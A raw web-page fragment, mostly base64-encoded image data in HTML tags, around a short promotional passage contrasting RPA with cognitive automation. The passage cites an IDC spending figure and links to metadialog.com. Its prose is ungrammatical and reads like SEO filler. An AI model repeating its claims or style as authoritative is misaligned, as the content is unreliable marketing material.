serX6keypZzHnF2xtLVkgx4i2LpDeQ8p1CitIPqnpIUAOx9oNVjxV+mBZ\/4Vf4NVS30g\/0WtH8Wc++FdGnUeLVxngx9F8pdWdB2tU2lohzST4nOfyWX6O\/+cH+6f8ANrMe4dtN+vV2lXTIFNzpMp6QmNHUgqabUslBWDsnYIPs86w\/R3\/zg\/3T\/m18wBal80ZEpaio\/lwbJ9geSBVlIMNGm14mSf1WS8dWp393Vov2lrWnjnAwqyynHpOK36XYpTgcVGWAlwDQcQQClWvZsEdtnR2KsO1cJRrzi8K8RLw8mXMjtPBtaB4aSrW9nz0AT9ytHzb9Xsj+Ls\/e1Y81a2+DkqbWpJ+KGhsHXYhII+5VNKjT9pUDhIErde31z9ltalN21zy2THcdlUXIGL2zErwxbLXczPQuKl1x0lJ04VrBT6vl2SO3n3qXY5w3bXbCxf8AL8gNuakoS4lAUhsNpUPV6lr7bOx212qrEAKWkHyJAroXmq23S6YjEi2mBKmOfD21LbjtKcV0BtzuQkE63r7eqjQYx++pt44Cu1GvcWxoWoqwXky6BOI9Byq25H4vVhcZi62+auZAeX4SlLSAptRG0715ggHvr2fOK0GFYhNzW9JtMR5LCEoLrzyk9QbQCBvXtOyABsVb2bw1t8JR2pjC234sG37Q4khSFgtpIIPcEbIrR+jyB499V7eiOP63Km63YbhrAIBEqijqlcaVVrky9hLZ75EH81kq4MxiR48C3ZW8q4R07cQS2vwyfk9SBpSQfnNU\/c7dKtFxk2uc30PxXVNOJ+cHXb3j56unArTfI3K+SXOfa5rMV8S0tSHWFpbWPhCOkJURo+qO2vYKrzlxtDXIl3S2kJBUyrQ95ZQT\/WTUbimz2Ye1sZhWaTd1zdutqtTeNgdOMHEjHmofXRmMTpNs4cbuMNYQ\/Ftj7zSiAdKT1kHR7HuK5zrpLC7Z8c8URLR4\/g\/Dbe7H8Tp6ujqKhvWxvW\/LdLCdzo7Lz9pi0UaRfxvE+UFeOB3ibyNgk5q\/eCp1xb0FS0tgBQ6EkLKfLY6\/Z7hVGYX9WNi+ycX8Kmr2iWf6VHH9xEJ2Tcn2\/EkdaGPJxSQkK6dnSEhIKiSewUfmqicL+rGxfZOL+FTU7iQaYf8AF1VWkbHNu30P9Mn3fkZx8ldfKed3nCrlZF29Taoz5dVJZWgHxEpKOwPmDonyrU+kDa2FWu2XoNJDzcgxVLA7lKklQB9+ik692z76zeYMOv8Als6yIs0IutteKh5zqSA0FFGidkE+RPb3V4ekDObRYbZbStPiPTC+E+3SEEE\/+cVfX3FtXdxiFy9NFJtWzNGN537o5jpPpKi\/AcRD2WS5S0JV8Hgq6djulSloGx9rqH26mXOEdN0whm4wlJdbhzkqWsHsE+s2f\/OUitT6PcMJj3q5LCdKWyyk+0dIUpX2j1J+5WWyteScH3B1tCAv8syVJ6vk9MhTp+3r\/wBKhSH\/AA2zuCfktF88\/e\/twcMcxv8A7gZVGUpSuUvt0pSlESlKURKUpREpSlESlKURK+xPqgx37O27+8Ir5X2J9UGO\/Z23f3hFUXX+i7yVlH4wun+ULFcsn4\/vtgs7SXZs6GplhClhIUo67bPYVUHo5cO55x3mFwu+VWxmNGkW1cZtSJLbhLhdbUBpJJ8knvVrcsXzJ8cxE3jEoEubOjzIqlRorHiuPM+KnxUAdKtbTsdQGxvdV3\/lF53+5+yX+U9\/7etGp\/dzNRp3F05wqMAiAS0zPZp\/TovjdDGtVdGrWdg1jqVVxDpc0OBAbxuc3BxGD1Vw5VAk3TGLxbIaAuRLgSGGkkgArW2pKRs+XciucuD+CuSMJ5JtuR5DaY7EGM3IS4tEttZBUypKeySSe5FSz\/KLzv8Ac\/ZL\/Ke\/9vWbjHLvIeZ5xYLS5xpfMathefVcHpLK3G3UBhZQkqWyno9cJOwRs6Htqi7r6Vqd3QrFzy9jhtAa4CSRzLeO+RhatPtP2g0PTrq1aymKVRrt5L2EgBp+Ha+ZIwMHMdF6ekr+hmL\/AGXX\/dnapurk9JX9DMX+y6\/7s7VN1puP+9VfMf0tW7Qf\/CqHk7+tyUpSoLrJSlKIlKUoilnFX6YFn\/hV\/g1VLfSD\/Ra0fxZz74VD+L3mmM8tDz7qG0JcXtS1AAfkavMmpXz3LiS7raVRJTTwTHcBLawrXrD3VtYf+Fd5\/wBl87cA\/fdE\/wDIf\/kth6O\/+cH+6f8ANr88ffpzZF9eZ+HTXn6P82HD+Pvhctljr+C9PiOBO9eLvW\/r1+cCmw2eYMgkuy2UMrMzpcU4Ak7eTrR8qupEezpeZ\/Vc68a43V7j+AfRq0HNv1eyP4uz97Viz\/0jU\/Yhn\/8AWq25mkMSc5fdjPtuoMdkdSFBQ+T7xVgzrjbzwomKJ0cvfFTKfD8VPVv1e2t73SmR7Wr5FTuWn7JZY6tVDt\/mifriujeXMkvWL4xFuFim\/Bn3JqGVL8NC9oLbhI0oEeaR9yucK6Efk41yzhkSJLvjEOShTbzyEqSFNPJSQodKjvpO1aNVWhJa9jTBPC2a8xorW9aq2abSd2J5jkeiiWVsclSuPjfL5lUSVa5jEZ9cZMdCXCFqQpA2Gx3BKSdH2Vlejz+bX397H\/tcr25byGxW7EYOD2ecmU4gMoV0OBfhstJ0nrI\/VEhPb5ie3bca4Yyu345f5EW6yG48W4tJR4zh0lDiTtOz5AEFXc+3VWbmsuWyZ75nKy+zq3Oj1trAJMgBsYBHQdcKRRMj5KyXOb3jVkydiI3AekqbD0ZopDaHggJ30Ek+sPP3VXmfR71Fy2exkM9qbcEeF4z7aAlK\/wAiT06AAHZOh5eyrvt1kxHFsiu2cKyRgfDkLK0KdR0IClBa9aO1EqSND59d91RGY3tvI8nuN6ZSoNSXiWwrz6AAlO\/cdAdqhdNLWe+ZM9+iu0ao2tck0KYDAwCdoB3YkTElaauhLP8ApHOfYeT\/AGLrnur8tNxt6eFVxVTo4e+KJKfDLqerZC9DW97qNkYLvJXftCCWUY\/GP1ThNv4zwCbb5ji3GVy34\/SVE9Lam0bSPcPWJ7e0mqcwv6sbF9k4v4VNW7wVcYEXEpTUqdHZX8YLUEuOpSdeG337n5qqHDloby6xuOLShCLlGUpSjoAB1OyTUqpGyl\/12VdkCLi9HTH0crl5hzbIsRetaLFLQyJSXi71NJXvpKNfKB15mqUv2Q3jJpxuN7nLkvkBIJACUJHsSkdkj6w89nzNWRz9MhzJFkMSUy\/0okdXhuBWu6PPVVLUL2o41S2cf4Wj9n7akyyp1dgDzMmM8nryr64htUpHGs5bASp65OSVsaVo\/IDaQT7PWSfu1ncd4be7Hht2xy9x2kOTHHi3pwLSUraSjR184\/rrVx7ucW4WZVb7tHauKYyHW\/DcSVpLroV5e8JX391Y\/Due3O7TLnEye9F7TTbjC31pSE6JCgPLuepP3K2sdTa6mw8x6ZXz1zTuq1O5uKcbN\/jPunEdIgqk6VsslaaZyO6ssKQW25r6UFHySkOEDXzarW1xyIML7xjt7Q7ulKUrxTSlKURKUpREpSlESlKw5cx9udFt8ZMALkpcX1zbg1DaSEdPbrc0nZ6vLfsqqtWZQZ7Spx6nkx0VlKk6s7YznPUDgScnHCzK8ly2LdcbPcpalJjwrtCkvqShSyhtD6VKVpIJOgD5DdeLxvjbsWOw1jkx+ZJaiMsw8liSHFOOKCU+qgk62Rs60PbUr+lVzJ+wSN\/TDFZTc07tjmUg4+THmPyU3NbZua6u9jQe9RgnvEuVwL9Irh9tJW5lTyUjzKrVMAH\/AOKs76dnHf8ArG6f0FP\/ABNULeOGeZLtbX7f9BUZrxgB1\/GzCtaIPl291Xh9GfMn7Skb\/ihj8VXRo6leve4VBAAEH2NUycyOemPn4L42+0HSKLGG1dvJJkfaaAgCIOW5mT5R4rK+nZx3\/rG6f0FP\/E1jyufeK4Km0Tb\/ADI6nd+GHbPNQV689bZ762Pu1+foz5k\/aUjf8UMfiqgPJuO8ycjXKxXD6WUa3\/EolDo+PmHvG8YNjz6U9OvD+fe\/Zqp19Ru2Mml7xkY9jVGJEnnoJPpCz2Wi6bWrBl17jIOftNA5AJAgN6mB4TPRYnM3JuFZ2xj8DFbq9Mfi3Fb7qVQpDISjwHE724hI8yB5+2oJUg+lVzJ+wSN\/TDFafI8Y5BxFMJzJMZt9vanyPgzTz96YQ0HOhS9KWeyRpJ7kgb0PbXPdcuYX1rgOyRJ9m8AYA6g9u6+ws6FpTpss7Ko0gTANWm5xyXHgjv2WPSsKc9dIEN+c65izqI7anFIYyqG64oAb0lCVFSj7gASay21hxtLgGgpIV92p0LqlcEtpkyO4I+oC01bd9Foc6IPYg\/QlfqlKVoVKUpSiKXcb4VFzi6yrfKnOxUsR\/GCm0hRJ6gNd\/r17HAog5K+gX4we8Dr6fH6R1\/mPieXl59q3vo\/\/AFS3H+In8IisxX\/aF\/2o\/ulbmUmGkxxGS6F83Xva7L24pNd7raZcB2MDKhnI2HRsIvbFqizXZKHYiZBW4kJIJWtOu373+uorVl8\/fVjD+xjf4V2pljLNo454yay1u2Ily3I7cl1fZDiy6pICOsgkJHUnsO3YnWzUXW4fWc0GAFYzVX0LGjVeN73wAOJJ8eAqCpV38mQrPlvHcfPY8NuPMQll0qT3UUrUltTalDXVokaJH6ntrZqK8K4nByK+SrhdI7MiLbG0EMudwp1ZPSSPIgBKux9uvOoOtiKopgzK0UtXpus33dRpbsJBHiOk+oVdUrpS1ZfZsqyW7YE\/YWzHtyFAFzpW26G1JQodGvV0SNefYezyqh82sjeOZXcrMynpajvbaBVvTagFIG\/b6qhStbik3c0yOPVe6fqhvKpo1aexwAdzMg9fzWjqxOPuJzllsVfrvcVwoHUpLQQkdbgT8pWz2SkHY9vcHy13rur9luLhcEJUwQkqtraT29i1AK\/qUa9tabXkl4kASo6zdVqDKdOgYc9wbPaVE814bYstjdyDHbs5NYjp8R1tzpJLftUlSdA67kjXl9bvV1Xlxwpcnh28R3nFKQluc2kE\/JSWtkD7aift1WPHmPxsmy+BaZqSqMpSnHkgkdSEJKunsQRsgDt76lWpNcWGmI3KrTr2pTZXbdO3eyJzGSIlRuldNSsqttry+Bx0ixspjTYqlhaSlLaAQs9Hh9OiD0H2\/qvKqf5ixy3Y7loTa2UssTY6ZPhJACW1FSkkJA8h6u9fOfZ2ryta+yaXB0wYKlYaybysKNSnt3Dc3MyP0UFpV7YWmy4HxgnNDakyZi2\/FcWNBxZW50JQFHfSnunevnOie1ePIiLPmXGTedItyY0xAbcSrsVjbobUgqA9ZOySPrDy7ivTaQzduzEx4KLdc3XHs\/ZnZv2bp\/i8lR9KnvDmLW7JMlccurKXo9vaD\/gq+StzqAT1D2pHc69ugDsbq2rZl1oyLKbpgBsjK4tuZJK19Km3OhSEqR4ZToaUrQ7n5NeUbX2jQ4uicBSv9Z+yVXUqdMu2iXGYgfquaKVIM9sMfGsuuNnh7+DtOBTQPmlC0hQT8+urW\/bqrsvFysvDuNwEQbKJHiupjuqQoNrcPSSpxSiCSfPQ8u+gQBUadvuLtxgN5Vt1qoospGiwvdU+ETGIB59VznSre5zx+0NxrblFsZaaXLWWnS2jpDwUCtKzr2\/K2dbOx7qqGq61I0XlhWqwvG39AV2iJ6diEpSlVLalKUoiUpSiJSlKIleERyA1l1qXcr5BtLPgStyZlpFxbB03oeCfMn3+yvelpud2tOaWmXZV35MkR5aQbLbWp0nRDe9NOeqU+8+ysOowKGe7f6h4t+o81ptAS8hvO1\/b8J7tcP5XeRUhlysddu2OIt2f2G7P\/RDbNRoeHC3OEfCUbIeHkB7vbXTt0ucOzW+RdbgtaI0VsuOqQ0txQSPPSUAqV9YAmucLtlOY3W4Y7DvL\/ISoqshtiiL1i0WDF2JKNbdbHUD7h7a6AzIPHFboGPhfifBl9PwSYmI9vX6h5RCWz\/3j2FbdEeGtrvpjgDkHsem95\/P0XxX7UUi91pTqkZLhgt4Jb1FOmB6t8yeke+ndxx\/rO5\/0HP8AxNZ2Q8l4\/j+FpzssT5tucW2htDMcoeWVudA9R3oI9b36ql\/DyH9byD\/9yIf+OpPycHxwHEEn4d4vwyF1fDZ6Jr\/56Hy30EpcPzg+Wh7K9pard1KVVz4Ba0ke44Z\/9WD5JW\/Z7TqVzb02EkPqNaf3jHYPPwAEeay\/8pzF\/wBheWfzZj8dT\/Kcxf8AYXln82Y\/HVTNKl9ovP8Ad\/lH9l1v+z+k\/wCz\/M7+6uRfpP4q2hTi8NytKUgqJMZjsB\/tq8+Zr3a79i2BZGbg1a4FyuDUxL863iYllDkN1SfEYBIWfWA1s6Pf2VS9x\/Q+V\/Ar+9NWplc2fbuLuJJtrVdUymhALZtcJEuUD8WrH5Gyv1VnROwfZs+ys1zdV30qlKs7cIB4j+IdiPqPMIzSLOyubetaM2uLnDkkf6bj1Dh\/KfI8KE5bMxVeL3ZMbk3GpjxhvBEdnA0xnHVdB0lLv\/yyfIK9nnWli\/nZn+DT\/ZUszPMs8l4leYs6TyiY70F5DonYbDjxygoIPiOJHUhGvNQ7gbNROL+dmf4NP9lYbItNd+2eBzPc93v+o8l3Q17bUbyD7x4js3tSpfQ+a9KUpXVVCUpSiK0fR\/8AqluP8RP4RFZiv+0L\/tR\/dKw\/R\/I+ie4J2NmASB\/tEVsDHdPpCnpQSAoOEgdgn4IO\/wD6fXrpU\/8ARp\/+ZfI3RjUbqf8AaP0C1PP31Yw\/sY3+FdqTcX5RZ8sxY4FkC0mQhpUdCFnXjsfqek\/rk+WvPSQe\/fUZ59UDmUQAgkW1sH5vyV2su48f2K28ZsZrbFTE3REaLJS4h46S4paOogDy1s+3tqkvbcPc3IHPkhbQq6ZbUqpIc4jaR0d09FreQYOZ4VARijt2XJx2QNRvyJABAX19CjrYUDo+ff7oEh9HfyyD\/df+bW8yOQrKuGTdbsz+WTEbkdRSAfFSoDrA9nV38vYqtD6PC0Bd\/bK0hahFUE77kDxdnX2x90VJrAy5YQcEY+RVNaua+jV2vaA9rodA5O5ucdT1W4tTeDYnnF3yGRm0cypS323oq09PhKW4FEb330U6qreT7lAu+c3K42yUiRGd8HodQdpVplAOvtgj7VSzHMXtOTcsZLAv0EyY7a5T4T4i0aV4yQk7SQfJR7VDeRLZarNmVytdkZDUOOptKEBal9J8NJUNqJPyir21TXLjS4AE+vVb9Mp0mXuXOdU9mOQIjGMZlRyr7u36QyPsdG+\/RVCVfsptU7ghKY+lFNtbUdH2NqBV96ajacP8irNdw62J\/wBwKmbdYcouFvcmWu2z3oaCoLcZSooBA2reu3lXnjbF8l3mNDxx2Q3PkK8NtTDhQoAjueodwANk\/MDVycZeJbuJblNktKS2UzJCe3ykBvWx9tJH2qg3CPT9HjO\/P4M9r6+qewANPPxKz7yc5l0do\/dyB44PKnFjxK1Y3ldpeyvLJd1yN4ERmetSkoHSrZJVtXSPW0SRs77H2Rjn\/wCquB9j0\/hHK3l4akq58tvUlak+EhTft0gNL2R82wr+utHz\/wDVXA+x6fwjlaK0Cg9oEQVytP3u1ChUe6S6nPSBM4AHAC33E2VWa\/Y4rAL74YcShbTSFdhIZVskA\/rhs+460R3BqM8h2zMcJtqMYN2XJxqQdR\/yJA1pfX0LOthQV389H7oHurArOzxWjNYSZguyG0PBSHTpJDwSVAAdtJ2d+zW6m0pxWZcLuTrwT44t7kgrA7lxgqIV3\/XdHf8AfHWqBrqlPY7kCQR27FeOq0ra6+0Uc03VNrmkcP8AxN\/6\/wARX0e\/0Vu\/8Xb++NSG1N4NiecXjIJGaxzKlrfbeirT0+EpboURvffRTqo56PiwLxdke0xkH7i\/\/wC19sOJ2vIOW8ktuRW8vsI+ESUoLi0aJdQUq2kg\/JX\/AF0okikzaJMnlL5jXX1z7RxDQwExEkY7\/wCFEuUrnAvGbz7hbJTcmM4lkIcQdpOmkg\/1g1a1judi5fw02S6Ohu4sISXgNFxtxPYPI2O4Pt15dRTvvs1JyTaLXYcyn2qzR\/AisBrob61L6SW0k91EnzJ9tTTP8StfGse1ZPiTkpqUmYAHFvFSSOknXbXY6II9o2Kqpue19RzgCOv+Fru6dCtb2tKmS15E0z2gDnzxwovyI7m1tkN4tlFx+FRovS5EUlpKULQAUpUCEg+WwQfb92oZV587IZl4fabquMW3\/haEpCh6yEraWpST9tKd\/WqjKoumbKpEyulotwLmza\/aGnIMYE9\/VKUpWddZKUpREpSlESlKURK\/djhvTs2tLDETIJKzGlnosctMaV5N9wtSkjp943X4rHj2WLf8stVvl2O33ZssSl\/Bp1xXBaJAb7+KjuCPYPbWLUJNDAnLf6h4O+h8lptSA8yYG1\/9J7uaP5h5hT692WdBm47Ifs\/I0dAyK2DxL3eW5MUfllHmhLiiT7jrtXQGSwJVzsE+3wottkvyGFNttXJouRVqPkHUjupPvArlvIMXs+Em05Oxx3j8BVvvEF8u23J3pshSUvJJQlpw9J3rWz5VbNs9ImDeboxZbZx9kkibJStbTKfgwKkoG1Hu7rsCKt0q6o25q07j3d20YDjzI\/A36epXzGvafdXjLe4shvDNxJJaIjac\/vX4AEn3vQLX\/Spzr9gvCv8AQT9SPL+PcjyLihjDYbGOwLo28w6WoaHI8BHhvBZCEhKlJBA93mTWw+mLk37UGVfy4f46tLkHPAxV+HGyDjfJoTs\/xDGSsxT4nh9JXrTp8upPn762Cnp1ux4JcA4bTLXdcfh57Ll+21u8rUzTawuY7cAHMOW543nAGSoF9Iflf\/S4r\/PpH4in0h+V\/wDS4r\/PpH4ipPK9KLHoUdcqVhWRNtN6KlER+3fX+kqYfTFyb9qDKv5cP8dUWtsXktbVeSPA\/wD18Ct1W916gA6rRptB4ktExExL+kifNVLI4B5WkMOMF\/FQHEKRv4dI7bGv9BUp5Fx+daMN4zxeQ3cZUu3yo0JxNlk+DIWtuA6lRZcUU67pJ2ddt\/WqS3jl26WC2SbzeOK8ojQoiC488pUQhCfedPE1V3IvJVp5ZexzGkYTK6Bcy+tq7TERI7wDDo6S60sqQdkHfza9tZr02dGi8U3OLyGiCDxuH\/L1jsfI8LTp79W1C4pPuGNFJhcSWlpzsI\/H0B4keY5TNcfuLGH3p9yw8rNpbgPqK59\/adjJAQe7qA6SpHvAB2N1Cov52Z\/g0\/2Vt8r44stvxi6zmeNMTiOR4bziZDGXyH3GiEEhSW1HS1DzCT2PlWoi\/nZn+DT\/AGVisw4V3bhGB37nuxn0PmvoQWG1Gx273j27N7VKv1HkvSlKV1FSlKUoi2+LZLcMSvTF6txBW1tK21EhLqD5pVr2e35iAfZVrK9ICz\/BfhCMak\/Dinp6C6jo8\/LxNdWvb8n\/AK1SVKvpXFSiIYVzrzSrS+eKldskeJGO2FtMlyCblF6k3u4dIdkKGkp+ShIGkpH1gB9fzqZYFywjGrR9Dd8tPw63Dr6CgjqSlWypBSrsoEk+ZHmfOq5pUWVnsdvByra9hb3FEW72+6IjpEcQrHzzlsZLaTjljtZgW9XQFlZT1rQnRCAkdkAEDyJ8h5DYqK4bls3DL2i8QmUPbQpl1pZ0HGyQSN+zuAd\/NWipR1Z737ycryjp9tQoG2Y33Tz4z3V0SOebMyy5LtmLOC4yEpDynFISkkDttaR1LA9mwO3uqn7jPlXWfIuU1zrkSnVPOK1ralHZ7ewfNWPSvatd9b4yo2em21gSaDYJ6yT6ZSrB485ZkYdE+JrhBVMt\/WVo6F6cZ33IG+xBPfXbuSd1X1KhTqOpO3MOVddWlG9p+yriQrPznmU5DaXbFYba5DjPpCHXXVDrUj2oCU9kj2b2djY0KgmM5BMxa9xb5BAU5HUdoV5LSRpST9cE\/W861dKk+s+o7eTlV2+n21tRNvTb7p58Z7q4LhzvBW\/Fm27GOmSAlMh11aevwwdlpCgknpJ9p19bfcQjkHNU5zdo9zTbjCDEcMdBd8TelKVveh+u\/qqLUqVS5qVRtccKq10m0s3ipSbDh1k9fVWJgPLCsXthx6820z7btXR0kdbaVbKk9J7LSST2JHmfPyr1zvlxvIrMcbsNpVBgLCErUsgKKE6IQlKeyRsD2nY7dqralPtNTZ7OcLw6RZm4+07PemeTE944lbrEMqn4de27zAQlwhJbdaWSEutnW0kjy8gQfeB5+VWc7zxYm21zoOJuC5vICXFLUhIOvIFwDqUB7AQPtVS9KU7ipSG1pUrvSrW9eKlZsnjkiR2MLLu10mXq5SbtPc65EpxTqz30CT5DfkB5AewACrMxfmqJEszFlymyKmpioQht1oJV1hBHR1IVobGh335gdvbVUUqNOs+k4uaeVZdafb3lMUqrcN4jEeSm3InJcrOSzDahCHAjOFxDZV1LcVrQUo67diew957ntUJpSove6o7c7lXW1tStKYpURDQlKUqCvSlKURKUpREpSlESsVuVFh5VanpZxgN+BKH\/AMRx1vQ96b80o79XurKqWcTYHlmZXcZjaLyqwWuCl+JHnJjNvuzFKIDnhpcBSEDp11kHuCAPMpyXlN1dgoUxLiRAHYEEnkCAO5HQTJCsbcUrNj7mu4NYARJMZc0gDAcZJ7NJiTEAqKZndrVMtkZmIriguGfGI+h22vszfzQfJUsa6ff81a9T8ONlVndn3m\/WtkNSgZNk38KSelGgnXfR9vzVeXIHDGX3DGXYOPZ\/c7t4Lrc1NvvCI6zIdbUFBKX0oQpveuwO0789b2KQst9XBy+zzxmP0GvsJmsPTX4KZSozgCUqaU0rtska+bzrm3dvUs2vZXEElhHABhwmPfjEjlzfQZV+k39DUaW+0du2ioCPeJEsMSPZzmDEMfxiThSb45xb9tTmX7jlRvIptql5FY\/izKszvPQiV1\/REFfkW0o14W\/f36vrJqxPpgyv3W8P\/hBmoXnGQu37Ise8Xl1nN\/ARM0G7OiD8E2lvz6fl9evb5dHz1S405bBHxN6s\/EO1Z5\/lPpyJ2Yq+0O5pA2v6VB\/A78VtTHzePU4OgzD6m5v71H36amfxzi37anMv3HKhmYfU3N\/eo+\/TVp\/TBlfut4f\/AAgzWi82\/azuP8LerR1d+KpT\/KfTqd7T7GzYCfefwHnoz8FGt+e3wnMQbMbrjr2MXJqLyJylOdUwQiPcgv4K4fc5vt01gyH2I11sj8k2QNolkq+OmVOwvzJf5qlPcj3a9uqlGe5rIuGHXaEr0lot+D0cpNtTjLUcyu49QODun69fOOcQyjOMqZk41cEWqPjzocfubjCXul5TagGm21eqtXSrZ32Tsb32Bppt9q99Klku2AAbT1celR44E5c305UxVFtaivcHa1u+Sd45a0D4qNM5JAwx3hPCwcpvdlexq6Msq4U61xHUp+LbTIRL30nXgqI0HP1pPbeq18X87M\/waf7KvrIuH8ouFhuVut3Kl4dfucZxmQ3co0Z6O71JIKUpS2lTIOz3Qe3uOtGhRHuFsmS7BeYZi3K1u\/BpLR2RsD1VpJA2hSdKSfaDXSo2tazrn24jcBGBBiTGHOzHl1iYlcu01G21G2ItnAlpkiSSAQBOWMxOMT0mCQF6UpSt6mlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiVs8ezrk7FrJDx+zZdEahQW\/CZQq1NqITvfclWz51rKVW+kHuD5IIngkcx2I7Bena5hpva1zSQYc1rhImD7wPcqSfTZ5h\/ZpC\/odr\/rUTtaL7M5Ei3J+Rik65XJc2U6q\/wAfwoBUW2wepCT8rtsfOayK8Iltl3bMrNCg4ZGyl1TMsi3SJKWELASjautRAGvPzrBqNH9yHS5xDmxLnu\/iHA978gStNh7Ki54YxjAWvkhrG42k5PuiPNwHcqx\/geU\/6t9Hz\/w1\/wDWoTnjN1ZyHHfjONx61tEzo+hNJG\/Vb34+\/tdP\/wBdSn6Acm\/cqWH+n2fxlQ\/M7Bc7HkWPm48UwMM8ZEzoMWeiT8L0lG+rpUenp2Nb8+s+6stVtQbdzXAbm8ioP4h+Km0fMhV2D6JrEMewna\/AdSJ+B3RtZzvk0+MDK0eYfU3N\/eo+\/TVs\/A8p\/wBW+j5\/4a\/+tVNmH1Nzf3qPv01Zn0A5N+5UsP8AT7P4yrbgPN27Y0n3W8Bx6v8Awsd+ceEqdZ1NtnT9o5rfef8AEaY6M431Kf5T4xidbn8XIkYZd1yoPCiGhGV1qs7ahNA7fmO\/1VanFcr5Awu3O2vGclhxYr0hyWpKrW2tSnFnZKlE7UdADfuArLzrDb\/AxC6zJPo52eyNNR1KXcWry06uMO3rhAWSo\/NqtQn5I+tS1ol1y5zw5pAbHxtOS7uGH6hN9J9kKY2PaXOkfu3iQGx8Lqgn1B8FJfps8w\/s0hf0O1\/1qNT5l\/vl\/kZHkV1Zly5LDbDhaiJYCgjfSohJ7kA637te6vtK6RoAkOc5xjIlzjnjgkhZqYp0Z9lTY2RB2sYDHMSAD0CUpSrkSlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpRErEZsbGT5da7MvF5eRKMeUsQYskMHq0noWtw9m0bHdR+t3Pasup\/wXyBxViGNybhf8ogxb7d5brstLjSvEZbQooaa6gk7SEpCh86zWO7bRrlttXeGtdkkxENIPXBJMCD0kwYUjXuLKi+7tabqjx7oDd0y4ESduQAJMiMwJEytcfRWvTqHX0wsRjL3+RRy\/cHU69y3fESdj5kVD8wwNOAZDZIz+GLsryzIQ5NanrlQpu0J8Pw1LAUhQPiAoUN+RGwa6L+n5w\/+zqD\/ACHP8NRvkXk\/hbN8MumPPZnb3HX2FLiKIdSW5KRtpYUE7BCwPtbB2CRVdfTNGpM9paVWB7YI95mYMx3E8YjyPC5dhr37S1LhtPUKFR1J0g+7UEBwiezomYdPmDkUDl\/rY9KaSNrc6EISO5UorGgB7TViR\/Ruk5F0TrbhtqxuA6VFDV2ny5M0I\/UKWhpSUIUR3Keokb0e4qPcUZFhMbMrdf8AP7rHiMwLamZDS+2VIVMWrp69AHugJUU9uxII1qr\/APp+cP8A7OoP8hz\/AA1Glb6bqNR1e8qNAwACWg4kznImYgRMT2jbq2o63pQZa6ZReSJJcA8iTAgAe6YAmTMEwIzNDZtwVNwvF7jPuGCw7kUsuKauFknySYhA2lbsd7ZUnz2UqIT3J7DvrGHW3mW3mlhaFpCkqHkQa6MPPfDxGjnMEg\/9xz\/DXOct7GRlN+g4ZPRLsjUpL8JaBpKEOpC1Np7D1Ur6wBrsAO5qbbexsa4FlUa4PxALZBEnpyCJycgxnOFhqGq6nQcNUova5nvBzg8AgkAj3sAgxAEAiTEjP7pSlb1alKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIv\/\/Z\" width=\"307px\" alt=\"cognitive automation use cases\" \/><\/p>\n<p><p>A task should be all about two things \u201cThinking\u201d and \u201cDoing,\u201d but RPA is all about doing, it lacks the thinking part in itself. At the same time, Cognitive Automation is powered by both thinkings and doing which is processed sequentially, first thinking then doing in a looping manner. RPA rises the bar of the work by removing the manually from work but to some extent and in a looping manner. But as RPA accomplish that without any thought process for example button pushing, Information capture and Data entry. Intelligent automation results in business running cost reduction and revenue increase as well as boosting brand loyalty due to more satisfied customers having got personalized service.<\/p>\n<\/p>\n<p><h2>Intelligent Automation<\/h2>\n<\/p>\n<p><p>In fact, spending on cognitive and AI systems will reach $77.6 billion in 2022, according to a report by IDCOpens a new window . Findings from both reports testify that the pace <a href=\"https:\/\/metadialog.com\/\">metadialog.com<\/a> of cognitive automation and RPA is accelerating business processes more than ever before. As a result CIOs are seeking AI-related technologies to invest in their organizations.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='margin-left:auto;margin-right:auto' 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GpCm1PGeujwuqefLH5ilrXPdwO52nK+sc33kxWcXDXVQfh1OZlgec8tpAkSyqSYSwADAfUF4qoA4691t3b1rl6+or2Nix8bQtCtuGpfjisD8yyb2TxBBHrjxP2BB2HXY3R\/wd2sPjMhVxnb21hK96iFs0J9TEi3cTYxs0kB\/3Skvv\/OJKnYbbdYsj8FlzXOBZ+4WjlizeOh8VWTD5pVW0oP0qWlRm9AsSznffjsSPtqjfWtJpKOi20Wmd9E8bndU4Xd18t597fPNrjbdN7bHT\/OarzOUyUWQylkXvw6BGilnhNaYk\/wDrGMZ5Mdx9Llidh62+3WtqO5g9VzYf9maOpczqi0nnyNma00jLMF9JCSpYqpAbm5J2\/Xq1dS\/AN3\/qagyUOhtGKmEM7LTa1nqplkhA+nyewN99z9ht1GQfAx8YFKtZqY\/T1StFbXhKqZusOa\/wOz9Wcbm1wpRqJfFL5oqvq68VSXNTbT64fTsyiberNWaQkl0raz0\/yiSs93Hpl3lo2XJ3+oV3CknYbkNv6+\/rbp50hktN6vku5ZtNYrF1moy0\/lxNXUCQBQJBJKrOP3QIIVSeQVv5zdT1v\/R0fFXIoMej8XuV9gZmtvv\/AAO79N2g\/gU+MnTtO\/jKVnFYapkY280bZZHAkA2Rh4ySD9R\/qO31b7DrC4ubVrKnHPrp+BZW9heQhhJpemvzweqHR0dHXij3RBT650lV1dV0FYz1VNQXa726+PLHyyQr+ZwNvsOvundbaU1baylLTecrZCfCWfk8hHCSTWm234N\/Xt11+1nNFj\/jv0JZvSpXhs6YvwwvKwRZJOJHFSfudyPQ6pbEa47g4pe6Z7TZehBLmu4kVSzaW3DHbFcxAOaiysqySff1vv8Abb79ccrlxlhrq18lk9NR4DG4pKUJYbhCWXtmUnF5eNkkeg3R10Hy3xP9zcJo3H6RxGsc1lshf1f+zUuRuYRK2TpV1ji5xlGYrJYPl3VyR9SgdXz8LXcPuHqa1rPRev3s3Dpe8kOMv3ZKwuTVDyRVsxwsxWYGJmYttuX2H2PWdO6hUkoo5rv2fubS3lczksL1y1nGcNLq\/XrsOLfEz2ETUZ0m\/dTArlVtmia5sbET8+HDfbbfl6332\/r6s7rox2Hxnw3ZD4Mlm7qy4utXsZieHOXEIS78588XgQOB5ORiSA7L\/MB39BuuXxC9\/wDuNgtU6vz3bnXuYs0tAZXHUJaVXHwpjqonCpItyV2L2GMisFCqOLFgfQ61Ru3GPPPrh6b9Tuqezsa9y7W05k4uUW5\/ZbTilhpaZctnssavODvL0ddHu5He3vFS1dlda5HWmQ0vpP